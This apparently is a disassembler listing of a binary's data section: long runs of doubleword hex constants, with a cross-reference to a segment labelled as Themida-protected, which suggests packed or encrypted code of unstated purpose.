		dd 5B58344Ch, 44B13256h, 9E38F8A9h, 0B2303D30h,	0B5B13256h
		dd 0EAB13DBEh, 0B80D3356h, 0DD2AED83h, 0DB6568D9h, 0C7F6B2Ch
		dd 3668B90Eh, 0D29488DDh, 5DBE344Ch, 0EAB13251h, 75B0B859h
		dd 89443256h, 5DBCDB9Fh, 0CCCD3256h, 276A20F6h,	9FC857D6h
		dd 568D44AFh, 6EBE3269h, 75B13191h, 42B6B9A3h, 0B4BD47A9h
		dd 0AEB1325Fh, 0FEC01651h, 5E237F5Ch, 0DDC4CDACh, 0EAB13BBFh
		dd 0AB223F56h, 0E8D4394Bh, 3DE1FCE0h, 4BFD8C30h, 57B5B959h
		dd 14D73256h, 0B5D0680Ah, 0EAB7BF59h, 0F9BE3256h, 0BAB13256h
		dd 5DB3B359h, 0A2003256h, 5461DA37h, 0A4D13256h, 5CBEC8E1h
		dd 0EAB13252h, 0FBF8830h, 7ABAC737h, 5DFCB759h,	2FD13256h
		dd 0AD5A9EB0h, 780E3D7Fh, 0DA393D37h, 3B13256h,	75B1325Ch
		dd 37C46C4Fh, 70A4778Dh, 0A93A09C0h, 57B0B459h,	42483256h
		dd 0D5B13269h, 0EAA9BF59h, 66583256h, 1DB13256h, 0F70CAB46h
		dd 2B7E9B4Ah, 0EB8CA7ACh, 6FA843Fh, 5644D0F8h, 8CD12691h
		dd 0E90CF9D7h, 0DB4A8559h, 0A24E1CBFh, 0A63B3DA9h, 37B13256h
		dd 12D730E0h, 5CD07A6Fh, 66BECE13h, 75B13251h, 0BAB0B959h
		dd 0A2443256h, 22BE3E23h, 57B13257h, 0A3C4CDA3h, 0B586CDAFh
		dd 0EAB3B259h, 0AB3A3256h, 0B9ADDA37h, 0E7D13256h, 0AD7CF006h
		dd 2751C3D7h, 53D06A82h, 51BEF25Dh, 0EAB1321Dh,	75B121BFh
		dd 0F1F19556h, 405EA91h, 0B770E566h, 13CD18B4h,	0AC65F34Eh
		dd 0D5B3BCBFh, 0E63E3D56h, 9CB13256h, 0BAB13251h, 0E47AE1A6h
		dd 0A188B96Ch, 57B124DCh, 0A6585256h, 0C2B13256h, 0A5F1B9B5h
		dd 0DC6C9852h, 0D7089658h, 0D6D0CEDCh, 17D1CE13h, 4EA7F322h
		dd 0ABB3BE59h, 1A3A3256h, 0E5B60B37h, 75B374D4h, 0BABFDB56h
		dd 0A4AE3256h, 98A931A9h, 6503AD33h, 0BD08DDCFh, 0DA4D77A9h
		dd 0EAB13ED3h, 73353D56h, 0B5B13256h, 5DB132D9h, 0D132CB56h
		dd 0D3BE3252h, 0ABB13264h, 353052AFh, 825A0E21h, 75B13FBFh
		dd 860BC856h, 37E5C23Bh, 0EE56483h, 0D4D02802h,	0A4B13E29h
		dd 0D5B13FD2h, 0EB313D56h, 8CB13256h, 0BAB16ABFh, 0A209C756h
		dd 474ECDA9h, 57B13244h, 0A5574534h, 0A78DE33Dh, 0BDE9EB0Ch
		dd 0D6BC56DDh, 0BF08BFF6h, 0B4B13256h, 0AEB13250h, 2D958804h
		dd 423879h, 0D5ACB759h,	64BE3256h, 75B13241h, 0BAB120BFh
		dd 0B055D356h, 0EDAFB6EFh, 90B93210h, 96CBF59h,	3C2DEA49h
		dd 154ECCFDh, 65CEB1A3h, 2A353D53h, 3DB13256h, 2CDB8830h
		dd 8A38DAD7h, 28D03C55h, 0DAB72229h, 0EAB1BFD3h, 79383D56h
		dd 0B5B13256h, 5DB134DEh, 0AE333D56h, 37B13256h, 35B030EFh
		dd 0B5F0532Eh, 376B930h, 75B1325Ah, 2757664Ah, 411CD302h
		dd 0B9FD94ACh, 57A0DB37h, 4A53256h, 7D6F9623h, 0A6EB95h
		dd 25E6A5D3h, 31C444E6h, 0D7BE3611h, 0AEB13257h, 5BEEB9AAh
		dd 0ABB4B159h, 55D13256h, 3D054B3h, 75B132CCh, 0BABFDB36h
		dd 18163256h, 0AF55B7AFh, 0C2B481E0h, 0C3801F68h, 5ED0E4DDh
		dd 61483611h, 9C483E09h, 0BAB13225h, 32085436h,	0E93A5324h
		dd 443B3D52h, 42B13256h, 0D5B13258h, 6C696B5Ah,	0AE4AB2F0h
		dd 19F87DEDh, 23A3D2Ah,	0F19ACE5Ah, 443D3D52h, 0A4B13256h
		dd 0D5B13FD0h, 0EAB9DB56h, 2BB53256h, 0E317F32Ch, 0B632E934h
		dd 0C8D1CB53h, 32F9F9D7h, 0E643B330h, 0AA3253C9h, 6FBE3146h
		dd 75B13241h, 0BB3E3DAAh, 0A5B13256h, 0A6323D17h, 58B13256h
		dd 0ABB130DFh, 0FED05256h, 0B638CA8Fh, 0CD443357h, 454ECDA9h
		dd 5808CAAAh, 0CEB13256h, 57B123BFh, 60026E56h,	530CAF0Fh
		dd 0C104F7A7h, 0C81693Fh, 0B459171Fh, 5CB13256h, 8F84AF77h
		dd 49A164DFh, 0A7A428E1h, 92A089D3h, 8BEB129Eh,	75B6B959h
		dd 3ABE3256h, 5DB13257h, 521AC1A3h, 0A84C04BFh,	0BB323DA9h
		dd 3CB13256h, 0EAB1325Dh, 0CA9257h, 0A54668CEh,	3C424E91h
		dd 0AEB6B659h, 58D13256h, 0B801C0E9h, 5ABEFB37h, 0EAB1325Ch
		dd 75B137BFh, 0E2A6F556h, 55735523h, 0BA323D56h, 0BEB13256h
		dd 0ABB13259h, 46EEC922h, 0CAFE2E06h, 97FBA621h, 0DAA57E2Bh
		dd 5DB123BEh, 26124756h, 0C8A48D75h, 0E3660334h, 0E46AEBF9h
		dd 0B0487898h, 0DEC0A4EFh, 53E45306h, 5DB13247h, 6FC925B1h
		dd 888662E2h, 9B98F49Bh, 5882251h, 35DB9E3h, 75B13242h
		dd 7C6ED867h, 2482127Dh, 0D3FB23ACh, 662114F2h,	3A02B0C3h
		dd 0DA4DF6D5h, 0EAB133D6h, 1549CA56h, 0BAB0BF59h, 0D6493256h
		dd 0A1D13A13h, 57B128D6h, 0ABA5DA56h, 83723256h, 0C551AFCCh
		dd 5A00D986h, 5FDFC0Dh,	0D1BC5D92h, 16EF8FF9h, 570EAE5Fh
		dd 0A7F40937h, 0D5EDB059h, 0E5583256h, 0CB13256h, 793C5F05h
		dd 748FCBFAh, 3722C48Eh, 128A24F8h, 94363D46h, 0B5B13256h
		dd 0EAB13FBFh, 0F1F12856h, 26F402E1h, 0A3DC180Bh, 45300035h
		dd 335C9557h, 57F4F537h, 0D5B13256h, 0EAB121BFh, 6A965856h
		dd 95092661h, 514F3E8Eh, 0F45E9672h, 2EC8B262h,	0ABB12EBFh
		dd 9076CB56h, 0EAB133AAh, 7B58CB56h, 53B13256h,	5DB1325Fh
		dd 1553229Ch, 0F1E7382h, 29BE538Bh, 0D5B1324Fh,	0EABADA36h
		dd 1F583256h, 0ADF91DFEh, 440F9AC5h, 23BE6C27h,	57B13256h
		dd 57F4B937h, 0D5BCB859h, 0E2583256h, 39B13256h, 0D8025784h
		dd 9497FE2Bh, 0AEB138BFh, 3BC37456h, 0FD876961h, 17162761h
		dd 0F858325Ah, 0C1B13256h, 0D30631BAh, 0FB2C6A39h, 294F9B7Bh
		dd 4D3F1BDAh, 0F9D16720h, 0B4486AAEh, 0EAB139BFh, 11B87356h
		dd 4AFBE08Dh, 838ED69Dh, 0BE58DEDDh, 43B13256h,	0B40490Ah
		dd 0B6C0CC5Dh, 73755319h, 0F6AEED6Fh, 0A958CE92h, 83B13256h
		dd 63B77D84h, 10A167D1h, 91524A4Fh, 78E8896Bh, 13D170D2h
		dd 75B132BEh, 50306856h
		dd 5BAB8DD0h, 0AEBBBC59h, 58D13256h, 0ABB132DDh, 0B44BB956h
		dd 0EAB13BBFh, 0B5CE2556h, 462C7D3h, 94823AC4h,	0AEB13DBFh
		dd 2BFAE556h, 0A2DC8541h, 0E336AA6Eh, 96C268Ch,	0FCBEE965h
		dd 0BAB13251h, 5DB0B159h, 27493256h, 0DC44CE0Bh, 0B1C817ECh
		dd 25305250h, 87B2D5B9h, 758EB137h, 0B8CBB659h,	5B583256h
		dd 0CEB13256h, 2BB33A6h, 548EB1F3h, 0D58FB759h,	62BE3256h
		dd 75B1325Ch, 0AE0E5436h, 6508548Ah, 69325321h,	57B6DB42h
		dd 0EEE63256h, 1394B4FFh, 150EDB67h, 9DD1CDA9h,	0BAB1325Bh
		dd 8253BE9Ch, 8605EB18h, 58F26FA1h, 4830547Fh, 0B4EEF7F7h
		dd 0EAB54DD5h, 758DB659h, 37BE3256h, 5DB1325Ah,	0AEB7BC59h
		dd 0D8BE3256h, 0ABB13256h, 0D5B13FBFh, 9BDF956h, 73EF4AF8h
		dd 0A6012478h, 2232BFF9h, 2ABE325Ah, 57B13258h,	0CAD16536h
		dd 0B475820Ch, 0EAB102BFh, 304ECA56h, 0BAB8DBAAh, 0D1263256h
		dd 0F7666A0Fh, 0D4FCD1D7h, 0A7582691h, 0ECB13256h, 0E7D311ABh
		dd 0F5AE2837h, 0DA2CA12Ch, 0B4D0F8E7h, 514ECD67h, 47CEB1A3h
		dd 31353D53h, 3CB13256h, 0EAB13259h, 0FFE4139Fh, 9DF56B26h
		dd 9A7D1EDFh, 0CE2ACB15h, 560AEBDDh, 0CA924ACDh, 0D3A14DD5h
		dd 0EA26B759h, 34483256h, 0B2585236h, 0E1B13256h, 4CE2CAE1h
		dd 3627A3BAh, 20D0F5DDh, 0DA493611h, 0EAB116DAh, 7E585256h
		dd 5EB13256h, 0CD1C9F6Eh, 0F83583E8h, 5B59AAF3h, 81B13256h
		dd 0CFA120E9h, 0EEA9238Eh, 2A56DB4Bh, 0B6EEB937h, 5DB122BFh
		dd 0C072B556h, 4CA52A57h, 819CD382h, 0C4074D4Bh, 2458CE58h
		dd 7AB13256h, 0BAB13ED2h, 5B3A3D56h, 0A1B13256h, 57B132D6h
		dd 0AFF6B956h, 0D9EEB9AEh, 0EA1DDBAFh, 67583256h, 0BCB13256h
		dd 8D825BC5h, 5D3DC3F9h, 0AA67DD86h, 349A01BCh,	0D1F6B96Eh
		dd 0EAB13DBFh, 13DD656h, 3CC103D3h, 969BF958h, 7F6127E0h
		dd 57B13FBFh, 75943C56h, 3B78B329h, 0ADA5460Bh,	2A3AAB3Bh
		dd 0BAB7DB5Ah, 5E513256h, 8096615Dh, 0BEB56D7Dh, 0ABB13253h
		dd 7F73B771h, 0EF5AB17Dh, 75B9DB36h, 767D3256h,	0DCFD431h
		dd 2DD0C0C7h, 58B22229h, 0ABB107D3h, 0D93E3D56h, 0E5B13256h
		dd 75B134DEh, 0BA393D56h, 1CB13256h, 0B53E3DAFh, 37B13256h
		dd 0ABB126BFh, 417F0156h, 15D06AA5h, 303B0AADh,	69754138h
		dd 0B4330909h, 779A5388h, 56EDBBAEh, 0ABA2DB57h, 0A6963256h
		dd 0BE9DC319h, 91964B60h, 5A2D608Dh, 450DA462h,	514E8A9Fh
		dd 0D2BECDA9h, 0ABB13257h, 0D5B48BAFh, 6AD13256h, 7F5946BBh
		dd 1AB13256h, 120814B9h, 526E12B1h, 872B94Ch, 0A41AC137h
		dd 0D5B133D1h, 9458C756h, 894ECDABh, 0B3323D37h, 3DB13256h
		dd 0B943B3AFh, 36C108B8h, 0A44D77DDh, 0D5B139DEh, 0EAB7DB56h
		dd 3FE63256h, 3E8D3195h, 5DBADB9Fh, 603C3256h, 0DCD4A818h
		dd 1660A884h, 8549F184h, 0EAB7B159h, 13D13256h,	0DB9537E8h
		dd 5DB7DB07h, 2EF33256h, 6D8E1251h, 0AB59CA05h,	8FB13256h
		dd 280DD8D7h, 0F7BE344Ch, 0BAB1325Ch, 5DB137BFh, 7933A356h
		dd 0D5BE80F5h, 0ABB1325Eh, 0D5B3BF59h, 8BD13256h, 7F2BBFAAh
		dd 53B7282Ch, 5DB1325Ch, 4EA434B1h, 0A1575D61h,	0CF0964F7h
		dd 3CB13256h, 0EAB1325Bh, 0C10F2FF5h, 0AF39A781h, 76DEC064h
		dd 0AA20DAEDh, 0DC493256h, 0A7313D5Dh, 0B5B13256h, 176BB330h
		dd 823054EFh, 0DAD08865h, 96063DA3h, 56700937h,	57FEDBAEh
		dd 0A8483256h, 0B549361Dh, 8C7F8D59h, 6824D4D7h, 0B5700937h
		dd 5DB151D4h, 0E5B2C756h, 0B9315246h, 5C0E3D2Fh, 0DA700937h
		dd 0EAB135D4h, 6758C756h, 43B13256h, 5DB16BBFh,	17E15256h
		dd 7ACAA023h, 0F448630Ch, 0D5F9DB37h, 66BE3256h, 75B13257h
		dd 6C2BBFAEh, 0A4B72913h, 474DE1A9h, 57B13264h,	0ABA7B559h
		dd 5CBE3256h, 0EAB13246h, 75B139BFh, 8D72AC56h,	5145768Eh
		dd 0EF86108Ch, 1F4DA8DBh, 5449344Dh, 0D23D3D85h, 0E5B13256h
		dd 75B133D5h, 0DAEACB56h, 0EE9DE6ECh, 0AA0E5426h, 0BEE85372h
		dd 0ABB1325Ah, 8C572AC5h, 9D990674h, 15A3DD5Ah,	32BE520Eh
		dd 5DB13254h, 17D7F1DCh, 94D02B02h, 0ABA0B959h,	0D9583256h
		dd 16B13256h, 0CEFB8D44h, 8F717DEAh, 8251220h, 70063D36h
		dd 0DCD0DCDCh, 0A0303DBAh, 3CB13256h, 0EAB13250h, 8A4D804Fh
		dd 0BA59587Ah, 7B13256h, 6A9DD8D7h, 0D0BE344Ch,	0ABB13243h
		dd 0D5BFDB36h, 50533256h, 1C19E602h, 0EA06EDCh,	0A400FF36h
		dd 563A5237h, 0EFD75237h, 50BE643h, 0B4C77954h,	0E7393D36h
		dd 9CB13256h, 0BAB1325Eh, 6BADBBE1h, 16338AC7h,	2DBB88DBh
		dd 29BE344Ch, 0D5B1325Eh, 0EAB3BF59h, 14D13256h, 0DAB977DDh
		dd 5DB139BFh, 42E3F956h, 407B67B7h, 4606A5B3h, 5266FAD7h
		dd 1FD04AA2h, 0FFD135DFh, 46D15391h, 5DB121BFh,	19852D56h
		dd 4EDAC436h, 35D9932h,	81C52F67h, 0B3001FE8h, 79F4B937h
		dd 0BABBDBAFh, 0EA03256h, 0BD5BEF13h, 82918FA9h, 0CBB575DFh
		dd 0D5B4B059h, 6BD73256h, 1387C990h, 0DB341AEFh, 0B4A177DDh
		dd 0AEB1325Eh, 629D7264h, 0E180AD6Ch, 0B5BD75DFh, 0EAB120BEh
		dd 0ABB7BC56h, 0F87AD44Ch, 6C6FEDA4h, 0F363862Dh, 0AEAB1966h
		dd 1CBE640Eh, 0DAD06DA9h, 0EAB13CDEh, 75B8DB56h, 0C0AE3256h
		dd 0F532A2DEh, 250C4758h, 0EED12613h, 0FDA44BD6h, 0C5F6BB37h
		dd 0EAB139BFh, 9DC28056h, 0F81B51A0h, 7526328Dh, 19BE5237h
		dd 9E063D80h, 20BEFB37h, 0D5B13240h, 0EAA1B959h, 7E583256h
		dd 0D4B13256h, 30C506B8h, 6BD90CEh, 4773F187h, 20D15256h
		dd 0D5B7DB88h, 0D1133256h, 0F976DD31h, 0DAD15337h, 5DB3BB59h
		dd 0F0E23256h, 91D0FDDDh, 0BFAB6BD3h, 5CBE7550h, 0EAB13251h
		dd 13D05236h, 4FD0CCDDh, 4AC2283Eh, 300F52FEh, 5E7331Fh
		dd 0ABB13DBFh, 0BD751856h, 0E0138408h, 0F2BCB2DEh, 57424543h
		dd 0E84E5309h, 0A8A52887h, 57A2BD59h, 27BE3256h, 0D5B1325Bh
		dd 0EAB13ABFh, 0BCCF4356h, 5252348Bh, 8634BF10h, 0CEB725D6h
		dd 0DD7A8D59h, 7B4E53B3h, 584960AEh, 0F0CA8FDCh, 72303D50h
		dd 0B5B13256h, 5DB133D1h, 0FF48CB56h, 57BBDA36h, 0B4703256h
		dd 569BE177h, 459B351Ch, 75B135BEh, 42051B56h, 8E0860F0h
		dd 47D06C09h, 57B13247h, 3F1F1585h, 4103D345h, 1F6DB651h
		dd 602B6CF2h, 4661CDDAh, 983B520Ch, 1333BF37h, 58B7282Dh
		dd 0ABB133D3h, 62BEC756h, 3D13E16h, 75B13246h, 5D5BDBC0h
		dd 0F0DDC203h, 46D0396Fh, 710AB612h, 0CA67B930h, 3C44EADDh
		dd 0EAB13247h, 0F9AF257Bh, 0A5F096C0h, 2E04AFF7h, 51F49783h
		dd 584D60A9h, 0ABB133D7h, 0E4BECB56h, 0EAB134BFh, 0E82DB756h
		dd 0E08459D4h, 0A87231AAh, 8390B0DFh, 0BED13442h, 0ABB13251h
		dd 650803BAh, 8CBF53EFh, 0CDA9C4D7h, 0E8D15337h, 3BEEC0DDh
		dd 0CF2A3DEDh, 563E3D95h, 0FCB13256h
dword_5B52B8	dd 0F52F851h, 18Fh, 0E8F500h, 5A000000h, 0C6E8EA81h, 840F061Ah
					; DATA XREF: Themida_:0054AD4Co
		dd 0Ch,	6890Fh,	8C0F0000h, 0
		dd 0A8D0Fh, 5E90000h, 0AA000000h, 0DA2EC2A1h, 890FF952h
		dd 6, 0B1616060h, 828B617Eh, 6142D21h, 0B800FF9h, 0E9000000h
		dd 6, 51147EC2h, 6DB921E5h, 0F41C64Eh, 183h, 0E1F7F500h
		dd 5830F60h, 66000000h,	2AB8D881h, 603EBF66h, 0DE95A61h
		dd 92000000h, 75257F22h, 2B49C7A2h, 500A5ACDh, 303905h
		dd 0BB666000h, 0EB8AB58Dh, 0FFFF2561h, 89FC7FFFh, 142D2182h
		dd 605AF506h, 0CCEF681h, 5961481Eh, 810FC3F9h, 0Fh, 0AE9h
		dd 8F1B8D00h, 6EB0F8CEh, 514B1230h, 13E960h, 1BE80000h
		dd 9A12F958h, 8E7C9491h, 4D0D9697h, 0BDE963CBh,	6052617Ah
		dd 10E8h, 75A54500h, 2CCB3822h,	0CF030496h, 0FEA8D33Fh
		dd 5F616070h, 0AE860h, 0BA980000h, 0AC336552h, 3B910B89h
		dd 0E861615Bh, 0
		dd 0F1EA815Ah, 0E9061AC7h, 0Bh,	0BCCBA816h, 7A9CECFFh
		dd 0E9C3EE77h, 10h, 6EF82C55h, 6133A8h,	3A13B7DDh, 7C54424Dh
		dd 0BD7BBA60h, 0BF0F7505h, 0C88B61DEh, 0FEAAE8F5h, 890FFFFFh
		dd 8, 2810Fh, 61600000h, 13E960h, 0B2050000h, 98BBF630h
		dd 249BCEB0h, 0EC226185h, 15F3BFD1h, 0EABE66EBh, 0D233610Dh
		dd 816660F9h, 618C8AC2h, 0F60F1F7h, 0BF0FD8B7h,	0C28B61C6h
		dd 0DE9h, 13B62100h, 0A2D2C30Bh, 0F09435CEh, 605A2A15h
		dd 61FBB70Fh, 0F9C3F559h, 0AE9C08Bh, 0FF000000h, 0C0EDB50Fh
		dd 85A17723h, 60C08B9Ch, 840F41B2h, 6, 8AD4C681h, 8D616D5Dh
		dd 1A91DD85h, 850F6006h, 2, 8B66C38Ah, 0D0FF61C7h, 0BE9F9h
		dd 8E8C0000h, 83A40867h, 0A88DF01Ch, 0C18B66E8h, 7890Fh
		dd 8C0F0000h, 1, 0D9858DF5h, 0E9061AC6h, 5, 146ACD3Bh
		dd 6D85892Dh, 0E9061421h, 0Dh, 5F7E8F4Bh, 0BF98C03Ch, 53D65D30h
		dd 0A4858DC0h, 0F9061AC7h, 2C258589h, 0B8F90614h, 0
		dd 11820Fh, 0CE90000h, 0F0000000h, 68F091BEh, 74699AFAh
		dd 0B11B980h, 53840FC0h, 0F8000001h, 1A5985C6h,	60560614h
		dd 30DF6861h, 6660A9C5h, 97AEB81h, 4CF0D981h, 0FF6142B8h
		dd 141AD1B5h, 1A820F06h, 60000000h, 880Fh, 0CE80000h, 58000000h
		dd 5ACE4165h, 7207624Dh, 5BA36923h, 0DB858D61h,	0E9061780h
		dd 11h,	0F51E9EBBh, 9A2E821Eh, 44357E45h, 0A24008F3h, 60D0FF24h
		dd 0C781CFB1h, 25E2942Ah, 13E95061h, 6F000000h,	0E9653017h
		dd 192DD69Fh, 64601586h, 53FFC980h, 800FE25Bh, 0Ch, 68E0Fh
		dd 8F0F0000h, 0
		dd 958D8Dh, 66600614h, 66B3D9BBh, 61F5AAB8h, 5880F51h
		dd 60000000h, 61F38B66h, 0C800Fh, 66600000h, 81000CBFh
		dd 0E48508D0h, 46A613Ah, 0D7BF0F60h, 615EF953h,	100068h
		dd 0BF666000h, 6056AE92h, 0FF615861h, 1424F9B5h, 1800F06h
		dd 0F5000000h, 10E9D0FFh, 11000000h, 129B8C99h,	84B8F374h
		dd 5B254D6Fh, 8B1AC4CCh, 1424F9BDh, 9E906h, 9B320000h
		dd 0EB013348h, 0E9BCE930h, 11h,	7FA13104h, 0F9B8EE6Ah
		dd 0F6409CB2h, 0DE6040Bh, 3C7F039Dh, 18A0Fh, 81FC0000h
		dd 0F8C7h, 0CE900h, 0E22C0000h,	3668CC3Fh, 0E0778C35h
		dd 47C71979h, 2024h, 9D8DF860h,	6141135h, 58B0Fh, 57600000h
		dd 8B61F85Bh, 18A0F03h,	0FC000000h, 840FC00Bh, 44h, 11E9h
		dd 208D500h, 3087F21Ah,	9690F5h, 3A3C5938h, 8B8E30h, 0CE9h
		dd 8093CF00h, 4F5AC06Eh, 0F83BEDFEh, 4438997h, 128F0Fh
		dd 0DE90000h, 99000000h, 0E27CC865h, 8ABC08EFh,	0CEE74DD1h
		dd 234CF6B9h, 0DC8D8D00h, 8B061ACBh, 143445B5h,	298D8906h
		dd 6A061432h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 8B1EC351h, 142B4DB5h, 4D85C706h
		dd 8C061406h, 6A000065h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 50F4C352h, 0EE9F7h
		dd 14220000h, 102AAEA5h, 3672A082h, 0B9BB5D9Fh,	267185C7h
		dd 614h, 5E90000h, 1F000000h, 0C295F1B6h, 2111B5FFh, 6A0614h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 2B16EBC3h, 0D1AB17D0h, 293384FCh, 142661B5h,	6195FF06h
		dd 0E9061423h, 0Ch, 0B0775C70h,	2D798CB7h, 41340172h, 68F0Fh
		dd 958B0000h, 6142B05h,	95FF006Ah, 6141169h, 29EBC08Bh
		dd 315ADA54h, 501453Fh,	6D439BCBh, 0EE143D7Dh, 0E39645C2h
		dd 405D2238h, 126661E1h, 0DC919211h, 0A5B69B70h, 0C5B3F6B8h
		dd 0BC8D8D2Fh, 6A061ACCh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 3543C351h, 8D89E0F7h
		dd 6143229h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	53C35040h, 64D85C7h, 62B00614h,	6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 7683B6C3h, 607A7756h, 615A5760h, 6830Fh, 958B0000h
		dd 6142B45h, 2DB58961h,	0C706141Ah, 14267185h, 6, 65952900h
		dd 0FF061423h, 140591B5h, 849CBA06h, 95FF22A5h,	6142361h
		dd 95FF006Ah, 6141169h,	7FEBC08Bh, 81F10A85h, 93CF64Bh
		dd 0E49E6129h, 5E7C44A0h, 299189E2h, 9E90CDD9h,	1602ECC5h
		dd 0F3FB98BCh, 1E0D2111h, 7B0A076Ah, 98F35457h,	53951878h
		dd 97F9609h, 7729371Ah,	0AFD77ED7h, 8C83941Eh, 3C6822C5h
		dd 25F8893Bh, 0CC00EA98h, 0BCAD817Bh, 0A336AEF9h, 9B985C03h
		dd 1303A81Eh, 5DDB8526h, 3953C55Fh, 0C4165A41h,	0CC5F8E54h
		dd 0BF2B9308h, 0CAEA5AADh, 0F91B2736h, 6AE03203h, 8D8436E9h
		dd 1ACDEC8Dh, 89F98B06h, 1432298Dh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 81B48019h
		dd 85C760B6h, 614064Dh,	6348h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 82C35040h, 2DB74BAh, 31452F7Bh
		dd 0C7F18B66h, 14267185h, 6, 0D8B70F00h, 0FFF7BF0Fh, 14220DB5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 9589A8E7h, 61420F1h, 0FFC2B70Fh,	14236195h
		dd 8BCB8006h, 95FF006Ah, 6141169h, 7EEBC08Bh, 0C239B284h
		dd 95075B56h, 5AEC6B8h,	0B2F7F7A2h, 0D847995Ah,	0F17F8E34h
		dd 0FD47A4FCh, 3473DED1h, 932CF6BBh, 709A26Fh, 0C8368563h
		dd 0A6EF2097h, 0C6DC9F6Fh, 0AB06D55Ah, 0F95EB5B6h, 0D46E0CE8h
		dd 974BF0CAh, 0C3368ECDh, 19FFCFh, 6865F965h, 3EE8EB19h
		dd 66915C0Ah, 0B3A9D802h, 0BE7E8C66h, 1B13C697h, 0EAF07C5h
		dd 5B27892h, 544DECBEh,	6AE8D7D1h, 0B7902A1h, 26798721h
		dd 27E97B13h, 1A000000h, 69DE2Eh, 8 dup(0)
		dd 47E90000h, 6800000Bh, 61AD022h, 0FA781DE9h, 0D14968FFh
		dd 13E9061Ah, 68FFFA78h, 61AD2DDh, 0FA7809E9h, 0D3E868FFh
		dd 0FFE9061Ah, 68FFFA77h, 61AD59Eh, 0FA77F5E9h,	0D76E68FFh
		dd 0EBE9061Ah, 68FFFA77h, 61AD891h, 0FA77E1E9h,	254DBFFFh
		dd 0A8C24054h, 2D3DC3D7h, 0AFB9485Ch, 363CCADEh, 0BEAB5065h
		dd 45592A48h, 0CDE1B2BEh, 53673838h, 89EBBCACh,	0C814A844h
		dd 39973047h, 4226D9E9h, 0AEBA4589h, 36F97EBh, 0D2FE624Ah
		dd 91F5174Fh, 7246C700h, 0FA96595Ah, 34105311h,	6D030054h
		dd 0E73A73B4h, 79119D56h, 0B304112h, 11A541F7h,	8C304113h
		dd 6DB16AFBh, 0D81BD494h, 96E872F4h, 882B3630h,	356FA731h
		dd 0A9A31EE1h, 50FA7CB6h, 4B78B142h, 2Fh, 1194Dh, 2068A13Dh
		dd 0B5ED3410h, 17866FBFh, 94710575h, 6924BDCh, 30417A6Eh
		dd 0D79ADC42h, 6FA79D34h, 0D427h, 23E03400h, 0D996144Dh
		dd 16894226h, 0F963F793h, 0DF52A2Ch, 0C063A45Dh, 4649B2Fh
		dd 8DD10A4Bh, 0FC40F979h, 4EA26503h, 1881BAB8h,	6C3D2BD4h
		dd 2C05C210h, 4127D82Ah, 0EAA2D70h, 2A2CFD7Ah, 0E72B64F5h
		dd 93975018h, 34B77A7Bh, 2CFE0498h, 0FD6B962Ah,	1D90C95Ah
		dd 1023B081h, 5324B534h, 0A366677Fh, 27CEA507h,	884BDC3Ah
		dd 0CFA0D234h, 0D96D098Ch, 542A2FA2h, 0C0468AC3h, 0A692E9B2h
		dd 9C17E0B9h, 93B4Eh, 6111FB00h, 0E4867C90h, 6901FF13h
		dd 0EB7D8498h, 7200061Ah, 0FA578CA1h, 8195660Ch, 91DEE82h
		dd 8FA374FCh, 0C527F870h, 0C950E480h, 6DCB3047h, 452DD91Dh
		dd 12AE3174h, 2A2CF97Eh, 0F3377001h, 488B5C0Ch,	0BCA04950h
		dd 70A9AD4Fh, 119F2h, 5119E93Dh, 0AB1E5798h, 101FD60Fh
		dd 510A9B34h, 41142DC5h, 68BC0130h, 0A0C52D9Eh,	2FB0F590h
		dd 95D1659Eh, 0A7FD29CCh, 6CDED66Fh, 0B8C129EEh, 0E8A1C738h
		dd 0B0DD16A7h, 0E1h, 9B26D9B2h,	2F16CF7Bh, 0A96CFDEFh
		dd 3F0E8CB1h, 0FF3876FEh, 0BEB45296h, 0C43E9205h, 93E16DA6h
		dd 762A2C54h, 0FA8EE422h, 0E5296208h, 3A7D4E1Ah, 195220E6h
		dd 853E2AD5h, 0A5686981h, 3832CE22h, 2D44C85Ch,	1EB2432Ah
		dd 8ECF88E2h, 7546E255h, 0F834106Ah, 4B059935h,	0F7883041h
		dd 0A9C19566h, 0C662E5A8h, 30414B32h, 0BA4EEAADh, 3530414Ah
		dd 67DA13A4h, 28075ACBh, 8FB8F3Ah, 0DD6EAF68h, 0BE43971Ah
		dd 801159A7h, 6F030347h, 0F67C8A9Eh, 0B9EA382Dh, 9CEA65E0h
		dd 814h, 0B788EA22h, 3A0B5FA3h,	0BF90DA26h, 411256ABh
		dd 0C899D92Dh, 0E5210EB3h, 5BA8BC8Dh, 0D5304415h, 49B6CA9Bh
		dd 0A7EC4E1Fh, 47CA770Bh, 4494F230h, 0C0AA56AAh, 0AFC34387h
		dd 8C35CADEh, 11A271CFh, 29FA8BE4h, 4226D9DBh, 2C1E1689h
		dd 11156932h, 5756C7FFh, 459BEF19h, 3137C80Ch, 73748C60h
		dd 0CCC314B0h, 35C63410h, 0A1C7387Ch, 2243BCD0h, 0F9778CE1h
		dd 0DA6EAF68h, 0FCB5462Ch, 0F6E7F770h, 98DE32B9h, 0B5B34CA0h
		dd 0A1C7387Ch, 2543BCD0h, 0D947E06Ch, 0DB1EAB7Fh, 0DA28BC58h
		dd 12A3AB7Fh, 362145D9h, 0BACE9FC9h, 0DE6A2345h, 0AB7FDA41h
		dd 0E077EFC5h, 6478491Fh, 80F5269Bh, 0B95E44C0h, 0FE8F2048h
		dd 4E1AE73Bh, 90A8AC15h, 8A78CC8Fh, 18B427E0h, 0A8DA8D84h
		dd 0ACE57607h, 0B1389D39h, 0C455B2BDh, 0A95CB0F3h, 11824020h
		dd 36C79B6Dh, 0E0E1F9FDh, 0A334811Dh, 0C519ACC9h, 34783141h
		dd 0D50E9FD1h, 8F23BF82h, 0AA8DA92h, 0A32FE879h, 0A8DA930Ah
